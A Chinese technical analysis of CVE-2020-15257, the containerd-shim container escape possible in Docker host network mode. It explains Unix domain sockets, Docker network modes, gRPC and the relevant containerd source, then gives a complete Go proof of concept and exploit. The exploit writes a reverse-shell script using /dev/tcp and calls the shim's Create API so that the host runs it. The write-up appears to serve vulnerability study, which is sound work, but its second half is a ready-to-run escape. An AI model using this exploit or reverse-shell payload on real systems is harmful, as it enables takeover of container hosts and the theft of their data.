前置知识
unix域套接字
在Linux系统中存在着一种unix域套接字，其作用是为了进程间通信，其使用方法类似于普通的socket套接字，只不过使用socket函数的时候域设置为AF_UNIX，同时套接字的类型分为：流套接字（SOCK_STREAM）和数据报套接字（SOCK_DGRAM）。
socket创建文件描述符之后，需要用bind进行本地端口绑定，此时需要初始化一个sockaddr_un的结构体：
struct sockaddr_un {
sa_family sun_family;
char sun_path[180];
}结构体的第二个字段就是文件路径，它也分为两种：
1. 普通的文件路径：它是一个合法的Linux文件路径，当不需要这个套接字的时候需要删除文件。
2. 抽象名字空间路径：以NULL开始可以以任何结尾，同时文件系统上面没有具体的文件和它相对应，在关闭的时候会自动消失。
docker网络模式
Docker run 运行容器的时候可以使用–network选定指定的网络模式。
1. none模式：这种模式下内部只有loopback回环网络，没有其他网卡，不能访问外网，是一种封闭的网络。
2. container模式：这种模式与其它的container共享网络。
3. Bridge模式：docker默认的网络模式，会为每一个容器分配一个网络命名空间，设置IP，保证容器内部的进程使用独立的网络环境，使得容器与容器之间，容器与宿主机之前存在网络隔离。
4. host模式：这种模式下，容器和宿主机是没用网络隔离的，他们共用一个网络命名空间，容器的配置和主机是完全一样的。
go中的gRPC服务
gRPC是google开源的一款高性能的RPC框架。其中主要包含四种请求/相应模式：
- 普通RPC
- 服务端流式RPC
- 客户端流式RPC
- 服务端/客户端双向流式RPC
对于RPC来说，其一般简历在HTTP协议或者TCP协议之上，作为一个框架，它使得开发者可以不用考虑网络协议，连接，等内容，只需要通过RPC去实现客户端和服务端。
如果使用gPRC，那么可以将服务定义在.proto文件中，然后用一种支持gRPC的语言（比如go）去实现客户端和服务端，这可以使客户端和服务端运行在不同的环境中，同时gRPC具备高效的序列化和反序列化，接口等。
本文中Containerd-shim的api就是通过gRPC的方式实现的。
Demo:
syntax = "proto3"; // 代表使用proto3的语法
package protos;
// The greeting service definition.
service Greeter { // 通过service关键字可以定义一个Greeter服务
// Sends a greeting
rpc SayHello (HelloRequest) returns (HelloReply) {} // 服务中定义的方法，该方法接受一个HelloRequest类型的消息，并返回一个HelloReply类型的消息。
}
// The request message containing the user's name.
message HelloRequest { // message关键字定义了一个HelloRequest类型的消息结构
string name = 1; // 这里的 = 1，1代表的是字段的编号，这个字段的编号是一个唯一的数字，作用是在二进制消息体中表示字段用。
}
// The response message containing the greetings
message HelloReply { // message关键字定义了一个HelloReply的消息结构是什么样的
string message = 1;
}编译命令：
protoc --go_out=plugins=grpc:. helloworld.proto编译器会根据.proto文件中定义的消息和服务生成对应的代码，接下来就可以编写服务端代码和客户端代码来实现具体的功能了。
漏洞分析
容器在host模式下与宿主机共用一套Network Namespace ，该条件下containerd-shim API暴露给了用户，对于containerd-shim的访问控制仅仅验证进程的UID是否为0，但是没有限制对抽象Unix域套接字的访问，因此当一个Root权限的容器开启了host网络模式就可能造成容器逃逸。
在docker 1.11版本中，单一的Docker Daemon拆分成为了4个独立的模块：Docker Daemon, containerd, containerd-shim, runC， containred是为了兼容OCI标准将Docker Daemon中容器运行时及其管理剥离了出来，形成了containerd，containerd向上提供接口和Docker Daemon交互，向下通过containerd-shim结合runC实现对容器的管理控制，不过containerd 提供了可用于和其进行交互的API和客户端应用程序ctr，所以即使没有Dcoker Daemon，也可以直接通过containerd来运行管理容器。
每次启动一个容器都会创建一个containerd-shim进程，它通过容器id, bundle目录，运行时二进制文件路径来调用运行时的API创建和运行容器，该进程会一直存在到容器实例进程退出为止，最后将容器的退出状态返回给containerd。
对于该CVE来说，因为containerd-shim的api接口是unix域套接字实现的，在使用过程中containerd 传递Unix 域套接字描述符给containerd-shim，containerd-shim在启动之后，会基于父进程传递的unix域套接字文件描述符建立gRPC服务，对外暴露一些API用于container,task的控制。但是在这个过程中暴露了一些可以被利用到的api。
containerd创建的unix域套接字如下,首先生成一个地址，在newSocket中以抽象地址的方式建立套接字：
func (b *bundle) shimAddress(namespace string) string {
d := sha256.Sum256([]byte(filepath.Join(namespace, b.id)))
return filepath.Join(string(filepath.Separator), "containerd-shim", fmt.Sprintf("%x.sock", d))
}
func newSocket(address string) (*net.UnixListener, error) {
if len(address) > 106 {
return nil, errors.Errorf("%q: unix socket path too long (> 106)", address)
}
l, err := net.Listen("unix", "\x00"+address)
if err != nil {
return nil, errors.Wrapf(err, "failed to listen to abstract unix socket %q", address)
}
return l.(*net.UnixListener), nil
}此时container-shim作为Server向外提供的服务如下：
// Shim service is launched for each container and is responsible for owning the IO
// for the container and its additional processes. The shim is also the parent of
// each container and allows reattaching to the IO and receiving the exit status
// for the container processes.
service Shim {
// State returns shim and task state information.
rpc State(StateRequest) returns (StateResponse);
rpc Create(CreateTaskRequest) returns (CreateTaskResponse);
rpc Start(StartRequest) returns (StartResponse);
rpc Delete(google.protobuf.Empty) returns (DeleteResponse);
rpc DeleteProcess(DeleteProcessRequest) returns (DeleteResponse);
rpc ListPids(ListPidsRequest) returns (ListPidsResponse);
rpc Pause(google.protobuf.Empty) returns (google.protobuf.Empty);
rpc Resume(google.protobuf.Empty) returns (google.protobuf.Empty);
rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);
rpc Kill(KillRequest) returns (google.protobuf.Empty);
rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty);
rpc ResizePty(ResizePtyRequest) returns (google.protobuf.Empty);
rpc CloseIO(CloseIORequest) returns (google.protobuf.Empty);
// ShimInfo returns information about the shim.
rpc ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse);
rpc Update(UpdateTaskRequest) returns (google.protobuf.Empty);
rpc Wait(WaitRequest) returns (WaitResponse);
}container作为client可以调用container-shim提供的api进而实现对容器的管理。漏洞就出现在对于unix域套接字的访问控制上面，因为unix域套接字本身是没有权限规则的，因此容器就利用进程的UID，GID做访问控制，限定EUID==0 && EGID==0 才可以进行访问。
// UnixSocketRequireSameUser resolves the current effective unix user and returns a
// UnixCredentialsFunc that will validate incoming unix connections against the
// current credentials.
//
// This is useful when using abstract sockets that are accessible by all users.
func UnixSocketRequireSameUser() UnixCredentialsFunc {
euid, egid := os.Geteuid(), os.Getegid()
return UnixSocketRequireUidGid(euid, egid)
}docker默认的bridge模式因为网络隔离的原因，容器内部无法通过/proc/net/unix看到宿主机上面的套接字的，但是如果是使用host模式，那么容器和主机共用一个网路命名空间，那么/proc/net/unix中就会看到宿主机的套接字信息，大致说一下容器中套接字的相关作用：
1. /var/run/docker.sock : Docker Daemon监听的域套接字，用于docker client之间的通信。
2. /run/containerd/container.sock : containerd 监听的unix域套接字，docker daemon和ctr可以通过它和containerd进行通信。
3. @/containerd-shim/***(sha256).sock：这就是containerd-shim监听的unix域套接字，containerd通过它和containerd-shim进行通信，控制管理器内容。
前两个套接字虽然因为host模式下共享网络命名空间可以看到，但是因为容器和宿主机之前的文件系统存在着隔离，因此是在容器内是无法对着两个文件进行访问的，但是因为第三种是抽象名字空间路径，只依靠网络命名空间进行隔离，所以容器可以进行访问，同时因为容器内本身就是root权限，所以对于EUID和GUID的检测形同虚设，那么容器内就可以通过连接containerd-shim提供的unix域套接字调用其提供的一系列API进而实现容器逃逸。
漏洞利用
首先要找出containerd自身的containerd-shim是怎么使用的，看源码可知：
// WithConnect connects to an existing shim
func WithConnect(address string, onClose func()) Opt {
return func(ctx context.Context, config shim.Config) (shimapi.ShimService, io.Closer, error) {
conn, err := connect(address, annonDialer)
if err != nil {
return nil, nil, err
}
client := ttrpc.NewClient(conn, ttrpc.WithOnClose(onClose))
return shimapi.NewShimClient(client), conn, nil
}
}可以看到containerd使用ttrpc构建client，其中conn是unix域套接字,向上回溯发现是WithStart函数对其进行调用：
func WithStart(binary, address, daemonAddress, cgroup string, debug bool, exitHandler func()) Opt {
return func(ctx context.Context, config shim.Config) (_ shimapi.ShimService, _ io.Closer, err error) {
socket, err := newSocket(address)
if err != nil {
if !eaddrinuse(err) {
return nil, nil, err
}
if err := RemoveSocket(address); err != nil {
return nil, nil, errors.Wrap(err, "remove already used socket")
}
if socket, err = newSocket(address); err != nil {
return nil, nil, err
.....................该函数返回一个client，然后再向上回溯发现是ShimRemote函数进行了调用：
// ShimRemote is a ShimOpt for connecting and starting a remote shim
func ShimRemote(c *Config, daemonAddress, cgroup string, exitHandler func()) ShimOpt {
return func(b *bundle, ns string, ropts *runctypes.RuncOptions) (shim.Config, client.Opt) {
config := b.shimConfig(ns, c, ropts)
return config,
client.WithStart(c.Shim, b.shimAddress(ns, daemonAddress), daemonAddress, cgroup, c.ShimDebug, exitHandler)
}
}再次向上回溯发现是Create函数进行了调用：
func (r *Runtime) Create(ctx context.Context, id string, opts runtime.CreateOpts) (_ runtime.Task, err error) {
namespace, err := namespaces.NamespaceRequired(ctx)
if err != nil {
return nil, err
}
if err := identifiers.Validate(id); err != nil {
return nil, errors.Wrapf(err, "invalid task id")
}
ropts, err := r.getRuncOptions(ctx, id)
if err != nil {
return nil, err
}
bundle, err := newBundle(id,
filepath.Join(r.state, namespace),
filepath.Join(r.root, namespace),
opts.Spec.Value)
if err != nil {
return nil, err
}
defer func() {
if err != nil {
bundle.Delete()
}
}()
......................到此，我们知道了containerd是如何使用containerd-shim的，因此我们可以在容器内与containerd-shim建立通信实现利用：
POC
package main
import (
"context"
"errors"
"io/ioutil"
"log"
"net"
"regexp"
"strings"
"github.com/containerd/ttrpc"
"github.com/gogo/protobuf/types"
)
func exp(sock string) bool {
sock = strings.Replace(sock, "@", "", -1)
conn, err := net.Dial("unix", "\x00"+sock)
if err != nil {
log.Println(err)
return false
}
client := ttrpc.NewClient(conn)
shimClient := NewShimClient(client)
ctx := context.Background()
info, err := shimClient.ShimInfo(ctx, &types.Empty{})
if err != nil {
log.Println("rpc error:", err)
return false
}
log.Println("shim pid:", info.ShimPid)
return true
}
func getShimSockets() ([][]byte, error) {
re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
if err != nil {
return nil, err
}
data, err := ioutil.ReadFile("/proc/net/unix")
matches := re.FindAll(data, -1)
if matches == nil {
return nil, errors.New("Cannot find vulnerable socket")
}
return matches, nil
}
func main() {
matchset := make(map[string]bool)
socks, err := getShimSockets()
if err != nil {
log.Fatalln(err)
}
for _, b := range socks {
sockname := string(b)
if _, ok := matchset[sockname]; ok {
continue
}
log.Println("try socket:", sockname)
matchset[sockname] = true
if exp(sockname) {
break
}
}
return
}1. 首先在/proc/net/unix 里面匹配到目标套接字。
2. 利用之前在Docker源码中找到的使用containerd-shim的方式建立client。
3. 调用API成功。
EXP
package main
import (
"context"
"errors"
"io/ioutil"
"log"
"net"
"regexp"
"strings"
types1 "github.com/containerd/containerd/api/types"
"github.com/containerd/ttrpc"
)
func exp(sock string, containerid string, hostPath string) bool {
sock = strings.Replace(sock, "@", "", -1)
conn, err := net.Dial("unix", "\x00"+sock)
if err != nil {
log.Println(err)
return false
}
client := ttrpc.NewClient(conn)
shimClient := NewShimClient(client)
ctx := context.Background()
info, err := shimClient.State(ctx, &StateRequest{
ID: containerid,
})
if err != nil {
log.Println("rpc error:", err)
return false
}
//log.Println("current container info:", info)
mounts := make([]*types1.Mount, 0)
mounts = append(mounts, &types1.Mount{
Type: "bind",
Source: "/mnt",
})
log.Println("exploit path on host:", hostPath+"/exploit")
newTask, err := shimClient.Create(ctx, &CreateTaskRequest{
ID: "hdsfjashdfjhaskjdfhkj",
Bundle: info.Bundle,
Runtime: hostPath + "/exploit",
Terminal: false,
})
if err != nil {
log.Println("rpc error:", err)
return false
}
log.Println("new task info:", newTask)
return true
}
func getContainerID() (string, error) {
data, err := ioutil.ReadFile("/proc/self/cgroup")
if err != nil {
return "", err
}
cgroupData := string(data)
lines := strings.Split(cgroupData, "\n")
cgmatch, err := regexp.Compile(".*:pids:/docker/(.*)")
containerid := ""
for _, l := range lines {
match := cgmatch.FindStringSubmatch(l)
if len(match) == 0 {
continue
}
containerid = match[1]
}
if containerid == "" {
return "", errors.New("Container id not found")
}
return containerid, nil
}
func getShimSockets() ([][]byte, error) {
re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
if err != nil {
return nil, err
}
data, err := ioutil.ReadFile("/proc/net/unix")
matches := re.FindAll(data, -1)
if matches == nil {
return nil, errors.New("cannot find vulnerable socket")
}
return matches, nil
}
func getHostPath() (string, error) {
re, err := regexp.Compile("overlay.*,workdir=(.*/)work")
if err != nil {
return "", err
}
data, err := ioutil.ReadFile("/proc/mounts")
matches := re.FindSubmatch(data)
if matches == nil {
return "", errors.New("cannot find Host Path")
}
return string(matches[1]) + "merged", nil
}
func main() {
err := ioutil.WriteFile("/exploit", []byte("#!/bin/bash\nsetsid bash -c 'sh >& /dev/tcp/127.0.0.1/8080 0>&1' &\n"), 0777)
if err != nil {
log.Fatalln(err)
}
containerid, err := getContainerID()
log.Println("the container id is: " + containerid)
if err != nil {
log.Fatalln(err)
}
log.Println("Current container id:", containerid)
matchset := make(map[string]bool)
socks, err := getShimSockets()
if err != nil {
log.Fatalln(err)
}
hostPath, err := getHostPath()
if err != nil {
log.Fatalln(err)
}
log.Println("Host path:", hostPath)
for _, b := range socks {
sockname := string(b)
if _, ok := matchset[sockname]; ok {
continue
}
log.Println("try socket:", sockname)
matchset[sockname] = true
if exp(sockname, containerid, hostPath) {
break
}
}
return
}1. 首先在容器的根目录下创建一个shell文件。
2. 在/proc/self/cgroup中进行正则匹配获得ContainerID。
3. 通过/proc/mount 可以获得hostpath，通过这个路径我们可以在宿主机上面访问到容器中的文件，这样可以利用Containerd-shim启动一个host主机上面的进程。
4. 利用containerd-shim的Create的API实现反弹shell，成功实现逃逸。
参考链接
https://bestwing.me/CVE-2020-15257-anaylysis.html
https://github.com/summershrimp/exploits-open/blob/9f2e0a28ffcf04ac81ce9113b2f8c451c36fe129/CVE-2020-15257/main.go
https://win-man.github.io/2020/03/29/049-go-grpc/